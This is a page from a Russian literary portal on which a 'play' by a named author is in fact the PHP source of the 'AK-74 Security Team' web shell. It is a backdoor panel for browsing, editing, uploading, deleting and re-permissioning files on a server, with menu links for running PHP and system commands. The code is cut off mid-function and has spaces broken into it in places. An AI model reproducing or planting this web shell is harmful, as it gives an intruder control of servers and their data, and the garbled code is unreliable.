Книги с автографами Михаила Задорнова и Игоря Губермана
Подарки в багодарность за взносы на приобретение новой программы портала











Главная    Новости и объявления    Круглый стол    Лента рецензий    Ленты форумов    Обзоры и итоги конкурсов    Диалоги, дискуссии, обсуждения    Презентации книг    Cправочник писателей    Наши писатели: информация к размышлению    Избранные произведения    Литобъединения и союзы писателей    Литературные салоны, гостинные, студии, кафе    Kонкурсы и премии    Проекты критики    Новости Литературной сети    Журналы    Издательские проекты    Издать книгу   
Главный вопрос на сегодня
О новой программе для нашего портала.
Буфет. Истории
за нашим столом
1 июня - международный день защиты детей.
Лучшие рассказчики
в нашем Буфете
Конкурсы на призы Литературного фонда имени Сергея Есенина
Литературный конкурс "Рассвет"
Английский Клуб
Положение о Клубе
Зал Прозы
Зал Поэзии
Английская дуэль
Вход для авторов
Логин:
Пароль:
Запомнить меня
Забыли пароль?
Сделать стартовой
Добавить в избранное
Наши авторы
Знакомьтесь: нашего полку прибыло!
Первые шаги на портале
Правила портала
Размышления
о литературном труде
Новости и объявления
Блиц-конкурсы
Тема недели
Диалоги, дискуссии, обсуждения
С днем рождения!
Клуб мудрецов
Наши Бенефисы
Книга предложений
Писатели России
Центральный ФО
Москва и область
Рязанская область
Липецкая область
Тамбовская область
Белгородская область
Курская область
Ивановская область
Ярославская область
Калужская область
Воронежская область
Костромская область
Тверская область
Оровская область
Смоленская область
Тульская область
Северо-Западный ФО
Санкт-Петербург и Ленинградская область
Мурманская область
Архангельская область
Калининградская область
Республика Карелия
Вологодская область
Псковская область
Новгородская область
Приволжский ФО
Cаратовская область
Cамарская область
Республика Мордовия
Республика Татарстан
Республика Удмуртия
Нижегородская область
Ульяновская область
Республика Башкирия
Пермский Край
Оренбурская область
Южный ФО
Ростовская область
Краснодарский край
Волгоградская область
Республика Адыгея
Астраханская область
Город Севастополь
Республика Крым
Донецкая народная республика
Луганская народная республика
Северо-Кавказский ФО
Северная Осетия Алания
Республика Дагестан
Ставропольский край
Уральский ФО
Cвердловская область
Тюменская область
Челябинская область
Курганская область
Сибирский ФО
Республика Алтай
Алтайcкий край
Республика Хакассия
Красноярский край
Омская область
Кемеровская область
Иркутская область
Новосибирская область
Томская область
Дальневосточный ФО
Магаданская область
Приморский край
Cахалинская область
Писатели Зарубежья
Писатели Украины
Писатели Белоруссии
Писатели Молдавии
Писатели Азербайджана
Писатели Казахстана
Писатели Узбекистана
Писатели Германии
Писатели Франции
Писатели Болгарии
Писатели Испании
Писатели Литвы
Писатели Латвии
Писатели Финляндии
Писатели Израиля
Писатели США
Писатели Канады
Положение о баллах как условных расчетных единицах
Реклама

логотип оплаты

Конструктор визуальных новелл.
Произведение
Жанр: ПьесыАвтор: Тагаев Александр Николаевич
Объем: 13001 [ символов ]
XXX
<?
/*
 
.:: :[AK-74 Security Team Web Shell Beta Version]: ::.
 
- AK-74 Security Team Web Site:
- Released on 01 June 2006.
- Copyright AK-74 Security Team, 2006.
- Thank you for using our script.
 
*/
 
error_reporting(0);
@set_time_limit(0);
 
session_start();
$xshell = $SERVER_['PHP_SELF'];
class shell
{
 
function getfiles()
{
$mas = array();
$i = 0;
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($file = readdir($handle)))
if ($file != '..')
if (!is_dir($_SESSION['currentdir'].'/'.$file) )
{
$mas[$i]['filename'] = $file;
$mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file) ;
$mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file ));
$i++;
}
closedir($handle);
}
return $mas;
}
 
function getdirs()
{
$mas = array();
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($dir = readdir($handle)))
if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
$mas[] = $dir;
closedir($handle);
}
return $mas;
}
 
function geturl()
{
if ($_SESSION['currentdir'].'/' == $_SERVER['DOCUMENT_ROOT'])
return '/';
if (strpos($_SESSION['currentdir'],str_replace ('','/',$_SERVER['DOCUMENT_ROOT'])) === false)
return '';
return str_replace($_SERVER['DOCUMENT_ROOT'],'',$_ SESSION['currentdir'].'/');
}
 
function removefile()
{
if (file_exists($_GET['file']))
{
chmod($_GET['file'],0777);
if (unlink($_GET['file']))
return 'Файл удален!';
else
return 'Файл удален!';
}
else
return 'Файл не найден!';
}
 
function removedir()
{
chmod($_GET['dir'],0777);
if (rmdir($_GET['dir']))
return 'Директория удалена!';
else
return 'Директория не найденa!';
}
 
function getmicrotime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
 
function getpermission($path)
{
 
$perms = fileperms($path);
 
if (($perms & 0xC000) == 0xC000)
$info = 's';
elseif (($perms & 0xA000) == 0xA000)
$info = 'l';
elseif (($perms & 0x8000) == 0x8000)
$info = '-';
elseif (($perms & 0x6000) == 0x6000)
$info = 'b';
elseif (($perms & 0x4000) == 0x4000)
$info = 'd';
elseif (($perms & 0x2000) == 0x2000)
$info = 'c';
elseif (($perms & 0x1000) == 0x1000)
$info = 'p';
else
$info = 'u';
 
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
 
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
 
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
 
return $info;
}
 
function getpermissionarray($path)
{
$res = array();
$perms = fileperms($path);
 
if (($perms & 0xC000) == 0xC000)
$res[] = 's';
elseif (($perms & 0xA000) == 0xA000)
$res[] = 'l';
elseif (($perms & 0x8000) == 0x8000)
$res[] = '-';
elseif (($perms & 0x6000) == 0x6000)
$res[] = 'b';
elseif (($perms & 0x4000) == 0x4000)
$res[] = 'd';
elseif (($perms & 0x2000) == 0x2000)
$res[] = 'c';
elseif (($perms & 0x1000) == 0x1000)
$res[] = 'p';
else
$res[] = 'u';
 
$res[] = (($perms & 0x0100) ? 'r' : '-');
$res[] = (($perms & 0x0080) ? 'w' : '-');
$res[] = (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
 
$res[] = (($perms & 0x0020) ? 'r' : '-');
$res[] = (($perms & 0x0010) ? 'w' : '-');
$res[] = (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
 
$res[] = (($perms & 0x0004) ? 'r' : '-');
$res[] = (($perms & 0x0002) ? 'w' : '-');
$res[] = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
 
return $res;
}
 
function outputhead()
{
$res = '';
$res .= '<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"></head>
<body>
<STYLE>
A:link {
COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:active {
COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:visited {
COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:hover {
COLOR: #C10000; TEXT-DECORATION: underline
}
TD {
FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica
}
BODY {
FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc;
}
</STYLE>
<div align="center"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">
<tr>
<td colspan=7 align="center">
<b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: ::.</font></b>
</td>
</tr>';
return $res;
}
 
function outputmenu()
{
$res = '';
$res .= '<tr>
<td colspan=7 align="center">
<table border=0 cellspacing=0 cellpadding=0>
<tr align="center">
<td width=150>
<a href="'.$xshell.'?act=info">Общая информация</a>
</td>
<td width=150>
<a href="'.$xshell.'?act=filemanager">Файловый менеджер</a>
</td>
<td width=80>
<a href="'.$xshell.'?act=phpinfo" target="_blank">phpinfo()</a>
</td>
<td width=110>
<a href="'.$xshell.'?act=execute">Выполнить PHP</a>
</td>
<td width=150>
<a href="'.$xshell.'?act=exesys">Выполнить команду</a>
</td>
</tr>
</table>
</td>
</tr>';
return $res;
}
 
function outputdown()
{
$res = '';
$res .= '</table></div></body></html>';
return $res;
}
 
function outputfilemanager()
{
$res = '';
$number = 0;
$dirs = $this->getdirs();
$files = $this->getfiles();
sort($dirs);
sort($files);
 
$res .= '
<tr>
<td colspan=7 align="center">
<font color=#830000> Текущая директория:</font><b><font color=#830000>'.$_SESSION['currentdir'].'</ font></b>
</td>
</tr>
<tr align="center">
<td width=30>
 
</td>
<td width=330>
 
</td>
<td width=80><font color=#830000>Размер,</font> <b><font color=#830000>байт</font></b>
 
</td>
<td width=120><font color=#830000>
Последнее изменение
</font>
</td>
<td width=80 align="center"><font color=#830000>Права доступа</font>
 
</td>
<td width=30>
 
</td>
<td width=30>
 
</td>
</tr>';
 
for ($i = 0; $i < count($dirs); $i++)
{
$res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></t d><td><b><a href="'.$xshell.'?act=filemanager&dir='.$di rs[$i].'">'.$dirs[$i].'</a></b></td><td> &l t;/ td><td> </td><td>';
$res .= '<a href="'.$xshell.'?act=chmod&file='.$_SESSIO N['currentdir'].'/'.$dirs[$i].'">'.($this-> getpermission($_SESSION['currentdir'].'/'.$ dirs[$i])).'</a>';
$res .= '</td><td> </td><td><a href="'.$xshell.'?act=filemanager&act3=del& dir='.$_SESSION['currentdir'].'/'.$dirs[$i] .'">delete</a></td></tr>';
}
for ($i = 0; $i < count($files); $i++)
{
$res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></t d>';
$res .= '<td><a href="'.$xshell.'?act=down&file='.$_SESSION ['currentdir'].'/'.$files[$i]['filename'].' ">'.$files[$i]['filename'].'</a></td>';
$res .= '<td>  '.$files[$i]['filesize'].'</td>';
$res .= '<td align="center">'.$files[$i]['lastmod'].'</t d>';
$res .= '<td align="center"><a href="'.$xshell.'?act=chmod&file='.$_SESSIO N['currentdir'].'/'.$files[$i]['filename']. '">'.($this->getpermission($_SESSION['curre ntdir'].'/'.$files[$i]['filename'])).'</a>< /td>';
$res .= '<td align="center"><a href="'.$xshell.'?act=edit&file='.$_SESSION ['currentdir'].'/'.$files[$i]['filename'].' ">edit</a></td>';
$res .= '<td align="center"><a href="'.$xshell.'?act=filemanager&act2=del& file='.$_SESSION['currentdir'].'/'.$files[$ i]['filename'].'">delete</a></td></tr>';
}
$res .= '</table><br>';
 
$res .= '<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">';
$res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="mkdir"><b><font color=#830000>Создать директорию:</b></font> </td><td><input type="text" name="dircreate"><input type="submit" value="Создать"></form></td></tr>';
$res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="createfile"><b><font color=#830000>Создать файл:</b></font></td><td> <input type="text" name="filecreate"><input type="submit" value="Создать"></form></td></tr>';
$res .= '<tr><td align=center><form enctype="multipart/form-data" action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="uploadfile"><b><font color=#830000>Закачать файл:</font></b></td><td><input type="file" name="filename" size="23"> <b><font color=#830000>и присвоить имя</b></font></td><td> <input type="text" name="filename2"><input type="submit" value="Вперёд"></form></td></tr>';
$res .= '<table border=0 width="700" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">';
$res .= '<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net"; target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
return $res;
}
 
function outputinfo()
{
$res = '';
$res .= '<tr>
<td align="center" colspan=7>
<b><font color=#83000>Общая информация о сервере</font></b>
</td>
</tr>
<tr>
<td colspan=7 align="left"><br>
<ol>
<b><font color=#830000>1. OS - </font></b><font color=#830000>'.(php_uname()).'</font><br>< br>
<b><font color=#830000>2. Версия PHP - </font></b><font color=#830000>'.(phpversion()).'</font><br> <br>
<b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - '.( get_current_user()).' <b><font color=#830000>|| User ID</font></b> - '.( getmyuid()).' <b><font color=#830000>|| Group ID</b></font> - '.( getmygid ()).'</font><br><br>
<b><font color=#830000>4. Server Software - </font></b><font color=#830000>'.(getenv('SERVER_SOFTWARE')) .'</font><br><br>
<b><font color=#830000>5. Request Method - </font></b><font color=#830000>'.(getenv('REQUEST_METHOD')). '</font><br><br>
<b><font color=#830000>6. Server IP - </font></b><font color=#830000>'.(getenv('SERVER_ADDR')).'</ font><br><br>
<b><font color=#830000>7. Your IP - </font></b><font color=#830000>'.(getenv('REMOTE_ADDR')).'</ font><br><br>
<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'.(getenv('HTTP_X_FORWARDED_F OR')).'</font><br><br>
</td>
</tr>
<table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net"; target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
 
return $res;
}
 
function chmodform($file)
{
$perms = $this->getpermissionarray($file);
$res = '';
$res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="chmod">'
.'<input type="hidden" name="file" value="'.$file.'">
<tr>
<td align="center" colspan=7>
<b><font color=#83000>Изменение прав доступа</font></b>
</td>
</tr>
<tr>
<td colspan=7 align="center">
<table border=1 cellspacing=0 cellpadding=0>';
$res .= '<tr align="center"><td> </td><td>r</td><td>w</t d><td>x</td><td>r</td><td>w</td><td>x</td& gt;< td>r</td><td>w</td><td>x</td></tr>';
$res .= '<tr><td><input type="hidden" name="perms0" value="'.$perms[0].'">'.$perms[0].'</td>';
for ($i = 1; $i <= 9; $i++)
$res .= '<td><input type="checkbox" name="perms'.$i.'"'.(($perms[$i] != '-') ? ' checked' : '' ).'></td>';
$res .= '</tr><tr><td colspan=10 align="right"><input type="submit" value="Сохранить"></td></tr>';
$res .= '</table></td></tr></form>';
return $res;
}
 
function editfileform($file)
{
$fp = fopen($file,'r');
if (!$fp)
return 'Редактирование файла';
$res = '';
$res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="editfile">'
.'<input type="hidden" name="file" value="'.$file.'"><tr>
<td align="center" colspan=7>
<b><font color=#83000>Редактирование файла</font></b>
</td>
</tr>
<tr>
<td colspan=7 align="center">
<table border=1 cellspacing=0 cellpadding=0>';
$res .= '<tr><td><textarea rows=25 cols=100 name="filecontent">'.(htmlspecialchars(frea d($fp, filesize($file)))).'
Copyright: Тагаев Александр Николаевич, 2013
Свидетельство о публикации №305858
ДАТА ПУБЛИКАЦИИ: 24.06.2013 21:29

Зарегистрируйтесь, чтобы оставить рецензию или проголосовать.
Устав, Положения, документы для приема
Билеты МСП
Форум для членов МСП
Состав МСП
"Новый Современник"
Планета Рать
Региональные отделения МСП
"Новый Современник"
Литературные объединения МСП
"Новый Современник"
Льготы для членов МСП
"Новый Современник"
Реквизиты и способы оплаты по МСП, издательству и порталу
Организация конкурсов и рейтинги
Литературные объединения
Литературные организации и проекты по регионам России

Как стать автором книги всего за 100 слов
Положение о проекте
Общий форум проекта